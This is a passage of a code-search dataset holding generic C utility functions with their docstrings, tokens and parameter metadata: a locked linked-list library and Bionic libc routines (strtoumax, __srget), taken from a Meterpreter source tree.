current_node = next_node;
}
list->count = 0;
lock_release( list->lock );
lock_destroy( list->lock );
free( list );
}
} | /*
* Destroy an existing linked list. This destroys all nodes and the list itself
* but not the data held in the linked list. This is the responsibility of the
* caller to destroy.
*/ | Destroy an existing linked list. This destroys all nodes and the list itself
but not the data held in the linked list. This is the responsibility of the
caller to destroy. | [
"Destroy",
"an",
"existing",
"linked",
"list",
".",
"This",
"destroys",
"all",
"nodes",
"and",
"the",
"list",
"itself",
"but",
"not",
"the",
"data",
"held",
"in",
"the",
"linked",
"list",
".",
"This",
"is",
"the",
"responsibility",
"of",
"the",
"caller",
"to",
"destroy",
"."
] | VOID list_destroy( LIST * list )
{
NODE * current_node;
NODE * next_node;
if( list != NULL )
{
lock_acquire( list->lock );
current_node = list->start;
while( current_node != NULL )
{
next_node = current_node->next;
current_node->next = NULL;
current_node->prev = NULL;
free( current_node );
current_node = next_node;
}
list->count = 0;
lock_release( list->lock );
lock_destroy( list->lock );
free( list );
}
} | [
"VOID",
"list_destroy",
"(",
"LIST",
"*",
"list",
")",
"{",
"NODE",
"*",
"current_node",
";",
"NODE",
"*",
"next_node",
";",
"if",
"(",
"list",
"!=",
"NULL",
")",
"{",
"lock_acquire",
"(",
"list",
"->",
"lock",
")",
";",
"current_node",
"=",
"list",
"->",
"start",
";",
"while",
"(",
"current_node",
"!=",
"NULL",
")",
"{",
"next_node",
"=",
"current_node",
"->",
"next",
";",
"current_node",
"->",
"next",
"=",
"NULL",
";",
"current_node",
"->",
"prev",
"=",
"NULL",
";",
"free",
"(",
"current_node",
")",
";",
"current_node",
"=",
"next_node",
";",
"}",
"list",
"->",
"count",
"=",
"0",
";",
"lock_release",
"(",
"list",
"->",
"lock",
")",
";",
"lock_destroy",
"(",
"list",
"->",
"lock",
")",
";",
"free",
"(",
"list",
")",
";",
"}",
"}"
] | Destroy an existing linked list. | [
"Destroy",
"an",
"existing",
"linked",
"list",
"."
] | [] | [
{
"param": "list",
"type": "LIST"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "list",
"type": "LIST",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
20f73b2a1f0f3764166a690111cfff2fc136e6f0 | Oxicode/metasploit-framework | external/source/meterpreter/source/common/list.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | list_count | DWORD | DWORD list_count( LIST * list )
{
DWORD count = 0;
if( list != NULL )
{
lock_acquire( list->lock );
count = list->count;
lock_release( list->lock );
}
return count;
} | /*
* Return the number of items in the list. If using this coung value to itterate through the list
* with list_get, acquire the lists lock before the list_count/list_get block and release it afterwards.
*/ | Return the number of items in the list. If using this coung value to itterate through the list
with list_get, acquire the lists lock before the list_count/list_get block and release it afterwards. | [
"Return",
"the",
"number",
"of",
"items",
"in",
"the",
"list",
".",
"If",
"using",
"this",
"coung",
"value",
"to",
"itterate",
"through",
"the",
"list",
"with",
"list_get",
"acquire",
"the",
"lists",
"lock",
"before",
"the",
"list_count",
"/",
"list_get",
"block",
"and",
"release",
"it",
"afterwards",
"."
] | DWORD list_count( LIST * list )
{
DWORD count = 0;
if( list != NULL )
{
lock_acquire( list->lock );
count = list->count;
lock_release( list->lock );
}
return count;
} | [
"DWORD",
"list_count",
"(",
"LIST",
"*",
"list",
")",
"{",
"DWORD",
"count",
"=",
"0",
";",
"if",
"(",
"list",
"!=",
"NULL",
")",
"{",
"lock_acquire",
"(",
"list",
"->",
"lock",
")",
";",
"count",
"=",
"list",
"->",
"count",
";",
"lock_release",
"(",
"list",
"->",
"lock",
")",
";",
"}",
"return",
"count",
";",
"}"
] | Return the number of items in the list. | [
"Return",
"the",
"number",
"of",
"items",
"in",
"the",
"list",
"."
] | [] | [
{
"param": "list",
"type": "LIST"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "list",
"type": "LIST",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
20f73b2a1f0f3764166a690111cfff2fc136e6f0 | Oxicode/metasploit-framework | external/source/meterpreter/source/common/list.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | list_get | LPVOID | LPVOID list_get( LIST * list, DWORD index )
{
LPVOID data = NULL;
NODE * current_node = NULL;
if( list == NULL )
return NULL;
lock_acquire( list->lock );
if( list->count <= index )
{
lock_release( list->lock );
return NULL;
}
current_node = list->start;
while( current_node != NULL )
{
if( index == 0 )
break;
current_node = current_node->next;
index--;
}
if( current_node != NULL )
data = current_node->data;
lock_release( list->lock );
return data;
} | /*
* Get the data value held in the list and a specified index. This will perform a linear search from
* the begining of the list returning the data value if found or NULL if not found.
*/ | Get the data value held in the list and a specified index. This will perform a linear search from
the begining of the list returning the data value if found or NULL if not found. | [
"Get",
"the",
"data",
"value",
"held",
"in",
"the",
"list",
"and",
"a",
"specified",
"index",
".",
"This",
"will",
"perform",
"a",
"linear",
"search",
"from",
"the",
"begining",
"of",
"the",
"list",
"returning",
"the",
"data",
"value",
"if",
"found",
"or",
"NULL",
"if",
"not",
"found",
"."
] | LPVOID list_get( LIST * list, DWORD index )
{
LPVOID data = NULL;
NODE * current_node = NULL;
if( list == NULL )
return NULL;
lock_acquire( list->lock );
if( list->count <= index )
{
lock_release( list->lock );
return NULL;
}
current_node = list->start;
while( current_node != NULL )
{
if( index == 0 )
break;
current_node = current_node->next;
index--;
}
if( current_node != NULL )
data = current_node->data;
lock_release( list->lock );
return data;
} | [
"LPVOID",
"list_get",
"(",
"LIST",
"*",
"list",
",",
"DWORD",
"index",
")",
"{",
"LPVOID",
"data",
"=",
"NULL",
";",
"NODE",
"*",
"current_node",
"=",
"NULL",
";",
"if",
"(",
"list",
"==",
"NULL",
")",
"return",
"NULL",
";",
"lock_acquire",
"(",
"list",
"->",
"lock",
")",
";",
"if",
"(",
"list",
"->",
"count",
"<=",
"index",
")",
"{",
"lock_release",
"(",
"list",
"->",
"lock",
")",
";",
"return",
"NULL",
";",
"}",
"current_node",
"=",
"list",
"->",
"start",
";",
"while",
"(",
"current_node",
"!=",
"NULL",
")",
"{",
"if",
"(",
"index",
"==",
"0",
")",
"break",
";",
"current_node",
"=",
"current_node",
"->",
"next",
";",
"index",
"--",
";",
"}",
"if",
"(",
"current_node",
"!=",
"NULL",
")",
"data",
"=",
"current_node",
"->",
"data",
";",
"lock_release",
"(",
"list",
"->",
"lock",
")",
";",
"return",
"data",
";",
"}"
] | Get the data value held in the list and a specified index. | [
"Get",
"the",
"data",
"value",
"held",
"in",
"the",
"list",
"and",
"a",
"specified",
"index",
"."
] | [] | [
{
"param": "list",
"type": "LIST"
},
{
"param": "index",
"type": "DWORD"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "list",
"type": "LIST",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "index",
"type": "DWORD",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
20f73b2a1f0f3764166a690111cfff2fc136e6f0 | Oxicode/metasploit-framework | external/source/meterpreter/source/common/list.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | list_remove_node | BOOL | BOOL list_remove_node( LIST * list, NODE * node )
{
if( list == NULL || node == NULL)
return FALSE;
if( list->count - 1 == 0 )
{
list->start = NULL;
list->end = NULL;
}
else
{
if( list->start == node )
{
list->start = list->start->next;
list->start->prev = NULL;
}
else if( list->end == node )
{
list->end = list->end->prev;
list->end->next = NULL;
}
else
{
node->next->prev = node->prev;
node->prev->next = node->next;
}
}
list->count -= 1;
node->next = NULL;
node->prev = NULL;
free( node );
return TRUE;
} | /*
* Internal function to remove a node from a list. Assumes caller has aquired the appropriate lock first.
*/ | Internal function to remove a node from a list. Assumes caller has aquired the appropriate lock first. | [
"Internal",
"function",
"to",
"remove",
"a",
"node",
"from",
"a",
"list",
".",
"Assumes",
"caller",
"has",
"aquired",
"the",
"appropriate",
"lock",
"first",
"."
] | BOOL list_remove_node( LIST * list, NODE * node )
{
if( list == NULL || node == NULL)
return FALSE;
if( list->count - 1 == 0 )
{
list->start = NULL;
list->end = NULL;
}
else
{
if( list->start == node )
{
list->start = list->start->next;
list->start->prev = NULL;
}
else if( list->end == node )
{
list->end = list->end->prev;
list->end->next = NULL;
}
else
{
node->next->prev = node->prev;
node->prev->next = node->next;
}
}
list->count -= 1;
node->next = NULL;
node->prev = NULL;
free( node );
return TRUE;
} | [
"BOOL",
"list_remove_node",
"(",
"LIST",
"*",
"list",
",",
"NODE",
"*",
"node",
")",
"{",
"if",
"(",
"list",
"==",
"NULL",
"||",
"node",
"==",
"NULL",
")",
"return",
"FALSE",
";",
"if",
"(",
"list",
"->",
"count",
"-",
"1",
"==",
"0",
")",
"{",
"list",
"->",
"start",
"=",
"NULL",
";",
"list",
"->",
"end",
"=",
"NULL",
";",
"}",
"else",
"{",
"if",
"(",
"list",
"->",
"start",
"==",
"node",
")",
"{",
"list",
"->",
"start",
"=",
"list",
"->",
"start",
"->",
"next",
";",
"list",
"->",
"start",
"->",
"prev",
"=",
"NULL",
";",
"}",
"else",
"if",
"(",
"list",
"->",
"end",
"==",
"node",
")",
"{",
"list",
"->",
"end",
"=",
"list",
"->",
"end",
"->",
"prev",
";",
"list",
"->",
"end",
"->",
"next",
"=",
"NULL",
";",
"}",
"else",
"{",
"node",
"->",
"next",
"->",
"prev",
"=",
"node",
"->",
"prev",
";",
"node",
"->",
"prev",
"->",
"next",
"=",
"node",
"->",
"next",
";",
"}",
"}",
"list",
"->",
"count",
"-=",
"1",
";",
"node",
"->",
"next",
"=",
"NULL",
";",
"node",
"->",
"prev",
"=",
"NULL",
";",
"free",
"(",
"node",
")",
";",
"return",
"TRUE",
";",
"}"
] | Internal function to remove a node from a list. | [
"Internal",
"function",
"to",
"remove",
"a",
"node",
"from",
"a",
"list",
"."
] | [] | [
{
"param": "list",
"type": "LIST"
},
{
"param": "node",
"type": "NODE"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "list",
"type": "LIST",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "node",
"type": "NODE",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
20f73b2a1f0f3764166a690111cfff2fc136e6f0 | Oxicode/metasploit-framework | external/source/meterpreter/source/common/list.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | list_remove | BOOL | BOOL list_remove( LIST * list, LPVOID data )
{
BOOL result = FALSE;
NODE * current_node = NULL;
if( list == NULL || data == NULL )
return FALSE;
lock_acquire( list->lock );
current_node = list->start;
while( current_node != NULL )
{
if( current_node->data == data )
break;
current_node = current_node->next;
}
result = list_remove_node( list, current_node );
lock_release( list->lock );
return result;
} | /*
* Remove a given data item from the list. Assumes data items are unqique as only the first occurrence is removed.
*/ | Remove a given data item from the list. Assumes data items are unqique as only the first occurrence is removed. | [
"Remove",
"a",
"given",
"data",
"item",
"from",
"the",
"list",
".",
"Assumes",
"data",
"items",
"are",
"unqique",
"as",
"only",
"the",
"first",
"occurrence",
"is",
"removed",
"."
] | BOOL list_remove( LIST * list, LPVOID data )
{
BOOL result = FALSE;
NODE * current_node = NULL;
if( list == NULL || data == NULL )
return FALSE;
lock_acquire( list->lock );
current_node = list->start;
while( current_node != NULL )
{
if( current_node->data == data )
break;
current_node = current_node->next;
}
result = list_remove_node( list, current_node );
lock_release( list->lock );
return result;
} | [
"BOOL",
"list_remove",
"(",
"LIST",
"*",
"list",
",",
"LPVOID",
"data",
")",
"{",
"BOOL",
"result",
"=",
"FALSE",
";",
"NODE",
"*",
"current_node",
"=",
"NULL",
";",
"if",
"(",
"list",
"==",
"NULL",
"||",
"data",
"==",
"NULL",
")",
"return",
"FALSE",
";",
"lock_acquire",
"(",
"list",
"->",
"lock",
")",
";",
"current_node",
"=",
"list",
"->",
"start",
";",
"while",
"(",
"current_node",
"!=",
"NULL",
")",
"{",
"if",
"(",
"current_node",
"->",
"data",
"==",
"data",
")",
"break",
";",
"current_node",
"=",
"current_node",
"->",
"next",
";",
"}",
"result",
"=",
"list_remove_node",
"(",
"list",
",",
"current_node",
")",
";",
"lock_release",
"(",
"list",
"->",
"lock",
")",
";",
"return",
"result",
";",
"}"
] | Remove a given data item from the list. | [
"Remove",
"a",
"given",
"data",
"item",
"from",
"the",
"list",
"."
] | [] | [
{
"param": "list",
"type": "LIST"
},
{
"param": "data",
"type": "LPVOID"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "list",
"type": "LIST",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "data",
"type": "LPVOID",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
20f73b2a1f0f3764166a690111cfff2fc136e6f0 | Oxicode/metasploit-framework | external/source/meterpreter/source/common/list.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | list_delete | BOOL | BOOL list_delete( LIST * list, DWORD index )
{
BOOL result = FALSE;
LPVOID data = NULL;
NODE * current_node = NULL;
if( list == NULL )
return FALSE;
lock_acquire( list->lock );
if( list->count > index )
{
current_node = list->start;
while( current_node != NULL )
{
if( index == 0 )
{
result = list_remove_node( list, current_node );
break;
}
current_node = current_node->next;
index--;
}
}
lock_release( list->lock );
return result;
} | /*
* Remove a list item at the specified index.
*/ | Remove a list item at the specified index. | [
"Remove",
"a",
"list",
"item",
"at",
"the",
"specified",
"index",
"."
] | BOOL list_delete( LIST * list, DWORD index )
{
BOOL result = FALSE;
LPVOID data = NULL;
NODE * current_node = NULL;
if( list == NULL )
return FALSE;
lock_acquire( list->lock );
if( list->count > index )
{
current_node = list->start;
while( current_node != NULL )
{
if( index == 0 )
{
result = list_remove_node( list, current_node );
break;
}
current_node = current_node->next;
index--;
}
}
lock_release( list->lock );
return result;
} | [
"BOOL",
"list_delete",
"(",
"LIST",
"*",
"list",
",",
"DWORD",
"index",
")",
"{",
"BOOL",
"result",
"=",
"FALSE",
";",
"LPVOID",
"data",
"=",
"NULL",
";",
"NODE",
"*",
"current_node",
"=",
"NULL",
";",
"if",
"(",
"list",
"==",
"NULL",
")",
"return",
"FALSE",
";",
"lock_acquire",
"(",
"list",
"->",
"lock",
")",
";",
"if",
"(",
"list",
"->",
"count",
">",
"index",
")",
"{",
"current_node",
"=",
"list",
"->",
"start",
";",
"while",
"(",
"current_node",
"!=",
"NULL",
")",
"{",
"if",
"(",
"index",
"==",
"0",
")",
"{",
"result",
"=",
"list_remove_node",
"(",
"list",
",",
"current_node",
")",
";",
"break",
";",
"}",
"current_node",
"=",
"current_node",
"->",
"next",
";",
"index",
"--",
";",
"}",
"}",
"lock_release",
"(",
"list",
"->",
"lock",
")",
";",
"return",
"result",
";",
"}"
] | Remove a list item at the specified index. | [
"Remove",
"a",
"list",
"item",
"at",
"the",
"specified",
"index",
"."
] | [] | [
{
"param": "list",
"type": "LIST"
},
{
"param": "index",
"type": "DWORD"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "list",
"type": "LIST",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "index",
"type": "DWORD",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
20f73b2a1f0f3764166a690111cfff2fc136e6f0 | Oxicode/metasploit-framework | external/source/meterpreter/source/common/list.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | list_push | BOOL | BOOL list_push( LIST * list, LPVOID data )
{
NODE * node = NULL;
if( list == NULL )
return FALSE;
node = (NODE *)malloc( sizeof(NODE) );
if( node == NULL )
return FALSE;
node->data = data;
node->next = NULL;
node->prev = NULL;
lock_acquire( list->lock );
if ( list->end != NULL )
{
list->end->next = node;
node->prev = list->end;
list->end = node;
}
else
{
list->start = node;
list->end = node;
}
list->count += 1;
lock_release( list->lock );
return TRUE;
} | /*
* Push a data item onto the end of the list.
*/ | Push a data item onto the end of the list. | [
"Push",
"a",
"data",
"item",
"onto",
"the",
"end",
"of",
"the",
"list",
"."
] | BOOL list_push( LIST * list, LPVOID data )
{
NODE * node = NULL;
if( list == NULL )
return FALSE;
node = (NODE *)malloc( sizeof(NODE) );
if( node == NULL )
return FALSE;
node->data = data;
node->next = NULL;
node->prev = NULL;
lock_acquire( list->lock );
if ( list->end != NULL )
{
list->end->next = node;
node->prev = list->end;
list->end = node;
}
else
{
list->start = node;
list->end = node;
}
list->count += 1;
lock_release( list->lock );
return TRUE;
} | [
"BOOL",
"list_push",
"(",
"LIST",
"*",
"list",
",",
"LPVOID",
"data",
")",
"{",
"NODE",
"*",
"node",
"=",
"NULL",
";",
"if",
"(",
"list",
"==",
"NULL",
")",
"return",
"FALSE",
";",
"node",
"=",
"(",
"NODE",
"*",
")",
"malloc",
"(",
"sizeof",
"(",
"NODE",
")",
")",
";",
"if",
"(",
"node",
"==",
"NULL",
")",
"return",
"FALSE",
";",
"node",
"->",
"data",
"=",
"data",
";",
"node",
"->",
"next",
"=",
"NULL",
";",
"node",
"->",
"prev",
"=",
"NULL",
";",
"lock_acquire",
"(",
"list",
"->",
"lock",
")",
";",
"if",
"(",
"list",
"->",
"end",
"!=",
"NULL",
")",
"{",
"list",
"->",
"end",
"->",
"next",
"=",
"node",
";",
"node",
"->",
"prev",
"=",
"list",
"->",
"end",
";",
"list",
"->",
"end",
"=",
"node",
";",
"}",
"else",
"{",
"list",
"->",
"start",
"=",
"node",
";",
"list",
"->",
"end",
"=",
"node",
";",
"}",
"list",
"->",
"count",
"+=",
"1",
";",
"lock_release",
"(",
"list",
"->",
"lock",
")",
";",
"return",
"TRUE",
";",
"}"
] | Push a data item onto the end of the list. | [
"Push",
"a",
"data",
"item",
"onto",
"the",
"end",
"of",
"the",
"list",
"."
] | [] | [
{
"param": "list",
"type": "LIST"
},
{
"param": "data",
"type": "LPVOID"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "list",
"type": "LIST",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "data",
"type": "LPVOID",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
20f73b2a1f0f3764166a690111cfff2fc136e6f0 | Oxicode/metasploit-framework | external/source/meterpreter/source/common/list.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | list_pop | LPVOID | LPVOID list_pop( LIST * list )
{
LPVOID data = NULL;
if( list == NULL )
return NULL;
lock_acquire( list->lock );
if( list->end != NULL )
{
data = list->end->data;
list_remove_node( list, list->end );
}
lock_release( list->lock );
return data;
} | /*
* Pop a data value off the end of the list.
*/ | Pop a data value off the end of the list. | [
"Pop",
"a",
"data",
"value",
"off",
"the",
"end",
"of",
"the",
"list",
"."
] | LPVOID list_pop( LIST * list )
{
LPVOID data = NULL;
if( list == NULL )
return NULL;
lock_acquire( list->lock );
if( list->end != NULL )
{
data = list->end->data;
list_remove_node( list, list->end );
}
lock_release( list->lock );
return data;
} | [
"LPVOID",
"list_pop",
"(",
"LIST",
"*",
"list",
")",
"{",
"LPVOID",
"data",
"=",
"NULL",
";",
"if",
"(",
"list",
"==",
"NULL",
")",
"return",
"NULL",
";",
"lock_acquire",
"(",
"list",
"->",
"lock",
")",
";",
"if",
"(",
"list",
"->",
"end",
"!=",
"NULL",
")",
"{",
"data",
"=",
"list",
"->",
"end",
"->",
"data",
";",
"list_remove_node",
"(",
"list",
",",
"list",
"->",
"end",
")",
";",
"}",
"lock_release",
"(",
"list",
"->",
"lock",
")",
";",
"return",
"data",
";",
"}"
] | Pop a data value off the end of the list. | [
"Pop",
"a",
"data",
"value",
"off",
"the",
"end",
"of",
"the",
"list",
"."
] | [] | [
{
"param": "list",
"type": "LIST"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "list",
"type": "LIST",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
20f73b2a1f0f3764166a690111cfff2fc136e6f0 | Oxicode/metasploit-framework | external/source/meterpreter/source/common/list.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | list_shift | LPVOID | LPVOID list_shift( LIST * list )
{
LPVOID data = NULL;
if( list == NULL )
return NULL;
lock_acquire( list->lock );
if( list->start != NULL )
{
data = list->start->data;
list_remove_node( list, list->start );
}
lock_release( list->lock );
return data;
} | /*
* Pop a data value off the start of the list.
*/ | Pop a data value off the start of the list. | [
"Pop",
"a",
"data",
"value",
"off",
"the",
"start",
"of",
"the",
"list",
"."
] | LPVOID list_shift( LIST * list )
{
LPVOID data = NULL;
if( list == NULL )
return NULL;
lock_acquire( list->lock );
if( list->start != NULL )
{
data = list->start->data;
list_remove_node( list, list->start );
}
lock_release( list->lock );
return data;
} | [
"LPVOID",
"list_shift",
"(",
"LIST",
"*",
"list",
")",
"{",
"LPVOID",
"data",
"=",
"NULL",
";",
"if",
"(",
"list",
"==",
"NULL",
")",
"return",
"NULL",
";",
"lock_acquire",
"(",
"list",
"->",
"lock",
")",
";",
"if",
"(",
"list",
"->",
"start",
"!=",
"NULL",
")",
"{",
"data",
"=",
"list",
"->",
"start",
"->",
"data",
";",
"list_remove_node",
"(",
"list",
",",
"list",
"->",
"start",
")",
";",
"}",
"lock_release",
"(",
"list",
"->",
"lock",
")",
";",
"return",
"data",
";",
"}"
] | Pop a data value off the start of the list. | [
"Pop",
"a",
"data",
"value",
"off",
"the",
"start",
"of",
"the",
"list",
"."
] | [] | [
{
"param": "list",
"type": "LIST"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "list",
"type": "LIST",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
e1ff623774544d801d62b2478e51edc4c0da792d | Oxicode/metasploit-framework | external/source/meterpreter/source/bionic/libc/stdlib/strtoumax.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | strtoumax | uintmax_t | uintmax_t
strtoumax(const char *nptr, char **endptr, int base)
{
const char *s;
uintmax_t acc, cutoff;
int c;
int neg, any, cutlim;
/*
* See strtoq for comments as to the logic used.
*/
s = nptr;
do {
c = (unsigned char) *s++;
} while (isspace(c));
if (c == '-') {
neg = 1;
c = *s++;
} else {
neg = 0;
if (c == '+')
c = *s++;
}
if ((base == 0 || base == 16) &&
c == '0' && (*s == 'x' || *s == 'X')) {
c = s[1];
s += 2;
base = 16;
}
if (base == 0)
base = c == '0' ? 8 : 10;
/* BIONIC: avoid division and modulo for common cases */
#define CASE_BASE(x) \
case x: cutoff = UINTMAX_MAX / x; \
cutlim = UINTMAX_MAX % x; \
break
switch (base) {
CASE_BASE(8);
CASE_BASE(10);
CASE_BASE(16);
default:
cutoff = UINTMAX_MAX / base;
cutlim = UINTMAX_MAX % base;
}
for (acc = 0, any = 0;; c = (unsigned char) *s++) {
if (isdigit(c))
c -= '0';
else if (isalpha(c))
c -= isupper(c) ? 'A' - 10 : 'a' - 10;
else
break;
if (c >= base)
break;
if (any < 0)
continue;
if (acc > cutoff || (acc == cutoff && c > cutlim)) {
any = -1;
acc = UINTMAX_MAX;
errno = ERANGE;
} else {
any = 1;
acc *= (uintmax_t)base;
acc += c;
}
}
if (neg && any > 0)
acc = -acc;
if (endptr != 0)
*endptr = (char *) (any ? s - 1 : nptr);
return (acc);
} | /*
* Convert a string to a uintmax_t.
*
* Ignores `locale' stuff. Assumes that the upper and lower case
* alphabets and digits are each contiguous.
*/ | Convert a string to a uintmax_t.
Ignores `locale' stuff. Assumes that the upper and lower case
alphabets and digits are each contiguous. | [
"Convert",
"a",
"string",
"to",
"a",
"uintmax_t",
".",
"Ignores",
"`",
"locale",
"'",
"stuff",
".",
"Assumes",
"that",
"the",
"upper",
"and",
"lower",
"case",
"alphabets",
"and",
"digits",
"are",
"each",
"contiguous",
"."
] | uintmax_t
strtoumax(const char *nptr, char **endptr, int base)
{
const char *s;
uintmax_t acc, cutoff;
int c;
int neg, any, cutlim;
s = nptr;
do {
c = (unsigned char) *s++;
} while (isspace(c));
if (c == '-') {
neg = 1;
c = *s++;
} else {
neg = 0;
if (c == '+')
c = *s++;
}
if ((base == 0 || base == 16) &&
c == '0' && (*s == 'x' || *s == 'X')) {
c = s[1];
s += 2;
base = 16;
}
if (base == 0)
base = c == '0' ? 8 : 10;
#define CASE_BASE(x) \
case x: cutoff = UINTMAX_MAX / x; \
cutlim = UINTMAX_MAX % x; \
break
switch (base) {
CASE_BASE(8);
CASE_BASE(10);
CASE_BASE(16);
default:
cutoff = UINTMAX_MAX / base;
cutlim = UINTMAX_MAX % base;
}
for (acc = 0, any = 0;; c = (unsigned char) *s++) {
if (isdigit(c))
c -= '0';
else if (isalpha(c))
c -= isupper(c) ? 'A' - 10 : 'a' - 10;
else
break;
if (c >= base)
break;
if (any < 0)
continue;
if (acc > cutoff || (acc == cutoff && c > cutlim)) {
any = -1;
acc = UINTMAX_MAX;
errno = ERANGE;
} else {
any = 1;
acc *= (uintmax_t)base;
acc += c;
}
}
if (neg && any > 0)
acc = -acc;
if (endptr != 0)
*endptr = (char *) (any ? s - 1 : nptr);
return (acc);
} | [
"uintmax_t",
"strtoumax",
"(",
"const",
"char",
"*",
"nptr",
",",
"char",
"*",
"*",
"endptr",
",",
"int",
"base",
")",
"{",
"const",
"char",
"*",
"s",
";",
"uintmax_t",
"acc",
",",
"cutoff",
";",
"int",
"c",
";",
"int",
"neg",
",",
"any",
",",
"cutlim",
";",
"s",
"=",
"nptr",
";",
"do",
"{",
"c",
"=",
"(",
"unsigned",
"char",
")",
"*",
"s",
"++",
";",
"}",
"while",
"(",
"isspace",
"(",
"c",
")",
")",
";",
"if",
"(",
"c",
"==",
"'",
"'",
")",
"{",
"neg",
"=",
"1",
";",
"c",
"=",
"*",
"s",
"++",
";",
"}",
"else",
"{",
"neg",
"=",
"0",
";",
"if",
"(",
"c",
"==",
"'",
"'",
")",
"c",
"=",
"*",
"s",
"++",
";",
"}",
"if",
"(",
"(",
"base",
"==",
"0",
"||",
"base",
"==",
"16",
")",
"&&",
"c",
"==",
"'",
"'",
"&&",
"(",
"*",
"s",
"==",
"'",
"'",
"||",
"*",
"s",
"==",
"'",
"'",
")",
")",
"{",
"c",
"=",
"s",
"[",
"1",
"]",
";",
"s",
"+=",
"2",
";",
"base",
"=",
"16",
";",
"}",
"if",
"(",
"base",
"==",
"0",
")",
"base",
"=",
"c",
"==",
"'",
"'",
"?",
"8",
":",
"10",
";",
"#define",
"CASE_BASE",
"(",
"x",
")",
" \\\n case x: cutoff = UINTMAX_MAX / x; \\\n\t cutlim = UINTMAX_MAX % x; \\\n\t\t break",
"\n\n",
"switch",
"(",
"base",
")",
"{",
"CASE_BASE",
"(",
"8",
")",
";",
"CASE_BASE",
"(",
"10",
")",
";",
"CASE_BASE",
"(",
"16",
")",
";",
"default",
":",
"cutoff",
"=",
"UINTMAX_MAX",
"/",
"base",
";",
"cutlim",
"=",
"UINTMAX_MAX",
"%",
"base",
";",
"}",
"for",
"(",
"acc",
"=",
"0",
",",
"any",
"=",
"0",
";",
";",
"c",
"=",
"(",
"unsigned",
"char",
")",
"*",
"s",
"++",
")",
"{",
"if",
"(",
"isdigit",
"(",
"c",
")",
")",
"c",
"-=",
"'",
"'",
";",
"else",
"if",
"(",
"isalpha",
"(",
"c",
")",
")",
"c",
"-=",
"isupper",
"(",
"c",
")",
"?",
"'",
"'",
"-",
"10",
":",
"'",
"'",
"-",
"10",
";",
"else",
"break",
";",
"if",
"(",
"c",
">=",
"base",
")",
"break",
";",
"if",
"(",
"any",
"<",
"0",
")",
"continue",
";",
"if",
"(",
"acc",
">",
"cutoff",
"||",
"(",
"acc",
"==",
"cutoff",
"&&",
"c",
">",
"cutlim",
")",
")",
"{",
"any",
"=",
"-1",
";",
"acc",
"=",
"UINTMAX_MAX",
";",
"errno",
"=",
"ERANGE",
";",
"}",
"else",
"{",
"any",
"=",
"1",
";",
"acc",
"*=",
"(",
"uintmax_t",
")",
"base",
";",
"acc",
"+=",
"c",
";",
"}",
"}",
"if",
"(",
"neg",
"&&",
"any",
">",
"0",
")",
"acc",
"=",
"-",
"acc",
";",
"if",
"(",
"endptr",
"!=",
"0",
")",
"*",
"endptr",
"=",
"(",
"char",
"*",
")",
"(",
"any",
"?",
"s",
"-",
"1",
":",
"nptr",
")",
";",
"return",
"(",
"acc",
")",
";",
"}"
] | Convert a string to a uintmax_t. | [
"Convert",
"a",
"string",
"to",
"a",
"uintmax_t",
"."
] | [
"/*\n\t * See strtoq for comments as to the logic used.\n\t */",
"/* BIONIC: avoid division and modulo for common cases */"
] | [
{
"param": "nptr",
"type": "char"
},
{
"param": "endptr",
"type": "char"
},
{
"param": "base",
"type": "int"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "nptr",
"type": "char",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "endptr",
"type": "char",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "base",
"type": "int",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
4cd97cbe9a49e4c61ca789a3a88a1bf4cb4ba465 | Oxicode/metasploit-framework | external/source/meterpreter/source/bionic/libc/stdio/rget.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | __srget | int | int
__srget(FILE *fp)
{
_SET_ORIENTATION(fp, -1);
if (__srefill(fp) == 0) {
fp->_r--;
return (*fp->_p++);
}
return (EOF);
} | /*
* Handle getc() when the buffer ran out:
* Refill, then return the first character
* in the newly-filled buffer.
